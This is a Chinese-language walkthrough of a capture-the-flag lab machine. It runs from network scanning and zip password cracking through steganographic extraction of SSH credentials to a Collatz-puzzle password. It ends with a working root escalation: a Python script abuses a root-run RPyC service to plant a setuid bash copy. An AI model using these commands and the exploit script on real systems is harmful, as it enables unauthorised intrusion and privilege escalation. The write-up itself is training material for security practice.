难度 低->中
目标 root + 2个flag
进行主机发现
netdiscover -i eth0 -r 192.168.189.0/24
kali 192.168.189.58 靶机 192.168.189.158
进行信息收集
nmap -T4 -sV -p- -A 192.168.189.158
开启了80和22,先探索web服务,没有思路再考虑ssh爆破
直接访问是一个目录浏览的页面
访问site就是一个网站的页面
简单的查看了一下网站的源码美誉发现有什么异常的地方
使用dirsearch扫了一下目录没有发现任何有问题的地方,换个扫描器gobuster发现了一个war.txt
访问提示/war-is-over
访问返回了一大段的base64编码的数据
看着应该是一个文件不是源码之类的
检查发现是一个zip的文件,并且显示被加密了
解压的时候会提示输入密码
在网上找了一下kali上面的密码爆破的工具
fcrackzip -D -p ./rockyou.txt -u ./oput
使用第一个没有爆出来,还是john好用
爆出ragnarok123
解压出来是一个图片
可能是图片隐写相关的技术
使用binwalk查看是否夹杂了其他的文件
发现夹杂了一个zip的文件
使用-e参数取出压缩包
sudo binwalk -e --run-as=root king
解压发现有个user,很有可能就是ssh的账号密码
//FamousBoatbuilder_floki@vikings
//f@m0usboatbuilde7
用户 floki 密码 f@m0usboatbuilde7 尝试进行ssh登录
成功登录,不过只是低用户的权限
上传linpeas.sh进行信息收集,上线msf尝试进行模块利用
不知道为什么一直shell弹不过来???
linpeas.sh也没有发现其他的一些常见的提权的漏洞,这里就不利用CVE的那些漏洞了,没有msf挺麻烦的看一些有没有其他的线索
到家目录下面看一下发现有些奇怪的东西
有个readme
我看了用户组确实还有一个ragnar的用户,这里好像在提示寻找到ragnar的权限
看一下boat
什么鬼考拉兹猜想???
#Printable chars are your ally. 意思是#可打印字符是您的盟友。
然后看一下这个什么鬼猜想,大致的流程就是
任意选择一个正整数 n。
如果 n 是偶数,那么下一个数是 n/2。
如果 n 是奇数,那么下一个数是 3n+1。
重复这个过程,最终总会达到1。
#num = 29th prime-number. 意思是num是第29个素数
所以就是说用一个验证猜想的脚本,输入的数字是第29个素数也就是109 ,然后得到到1的过程中得到的每一个数字
def collatz_sequence(n):if n <= 0:return "输入的数必须是正整数"sequence = [n]while n != 1:if n % 2 == 0:n = n // 2else:n = 3 * n + 1if n>32 and n<=127: #判断得到的数字是否在这个区间,在这个区间的就可以转ASCII字符sequence.append(n)return sequencedef main():num = 109sequence = collatz_sequence(num)if isinstance(sequence, list):print(f"从 {num} 到 1 的 Collatz 序列是: {sequence}")else:print(sequence)if __name__ == "__main__":main()
最后得到
109, 82, 41, 124, 62, 94, 47, 71, 107, 121, 91, 103, 122, 61, 92, 46, 70, 35, 106, 53, 80, 40
然后转为字符
mR)|>^/Gky[gz=\.F#j5P(
使用此密码成功登录ragnar
然后看到.profile的内容,发现只要ssh登录就会运行一个这个文件
然后到网上去寻找相关的资料
Classic — RPyC
这个东西相当于是开启了一个服务端,端口18812,然后上面有一些功能,比如可以执行命令啥的,并且这里是root权限启动的
确实是知识盲区了,可以看一下源码,还有写参数可以指定
官网也有使用的方式
修改为我们想要的新建一个交互式shell的代码
import rpyc
conn=rpyc.classic.connect('localhost')
def getshell():import osos.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot') #s setSGID 设置特殊权限 就是这个bash可以以root权限运行
fn=conn.teleport(getshell)
fn()
写入为exp.py然后运行,就会生成一个bashroot
这里运行必须是./bashroot -p
这条命令会以特权模式启动一个新的 bash shell,读取并执行 ~/.bash_profile 或其他相关配置文件中的命令,所以说他以特权的身份启动的
这里在kali本机上也可以做一个演示
首先我以root的身份
创建一个shroot 并且也是赋予为s的权限
然后再使用kali的权限来观察
可以看到当以-p 特权模式启动的时候确实是成功的得到了root的所属组的权限